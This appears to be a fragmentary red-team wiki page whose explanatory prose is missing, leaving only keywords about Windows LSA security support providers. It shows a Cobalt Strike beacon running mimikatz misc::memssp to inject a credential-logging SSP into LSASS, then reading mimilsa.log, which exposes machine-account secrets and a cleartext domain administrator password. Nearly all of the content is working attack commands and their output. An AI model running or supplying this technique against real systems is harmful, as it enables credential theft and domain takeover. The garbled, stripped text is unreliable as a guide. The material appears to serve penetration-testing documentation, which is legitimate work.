

AP/SSP

mimilib.dll

SSP

Windows

AP/SSP

SSP

AP/SSP

DLL

LSA

Cobalt Strike

mimikatz

misc::memssp

SSP

mimikatz misc::memssp

```
beacon> mimikatz misc::memssp
[*] Tasked beacon to run mimikatz's misc::memssp command
[+] host called home, sent: 750702 bytes
[+] received output:
Injected =)
```

C:\Windows\system32\mimilsa.log

```
beacon> powershell cat C:\Windows\System32\mimilsa.log
[*] Tasked beacon to run: cat C:\Windows\System32\mimilsa.log
[+] host called home, sent: 159 bytes
[+] received output:
#< CLIXML
[00000000:020b888e] WHITE-BIRD\WEB02$ A]my%dR/?5'6+Eg7]].`SI:a8> IuC C53-hs$Eqy*fJsUF<p22%A'DICK9s$%.V5^Yy#1F;S%Fsw8 QBvF6`BOM =Ar&J7j!m!>(4)/U@*RkrGV$P2<RwW!
[00000000:020b8fab] WHITE-BIRD\WEB02$ A]my%dR/?5'6+Eg7]].`SI:a8> IuC C53-hs$Eqy*fJsUF<p22%A'DICK9s$%.V5^Yy#1F;S%Fsw8 QBvF6`BOM =Ar&J7j!m!>(4)/U@*RkrGV$P2<RwW!
[00000000:020b9186] WHITE-BIRD\WEB02$ A]my%dR/?5'6+Eg7]].`SI:a8> IuC C53-hs$Eqy*fJsUF<p22%A'DICK9s$%.V5^Yy#1F;S%Fsw8 QBvF6`BOM =Ar&J7j!m!>(4)/U@*RkrGV$P2<RwW!
[00000000:020bef68] WHITE-BIRD\Administrator Passw0rddc05
<Obj$ Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj $="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><HLL /><PI>- 1</PI><PC>- 1</PC><T>Completed</T><SR>- 1</SR><SD> </SD></PR></MS></Obj></Obj$>
```

Revision #9
Created 5 September 2022 03:14:24 by
Updated 17 June 2023 00:47:32 by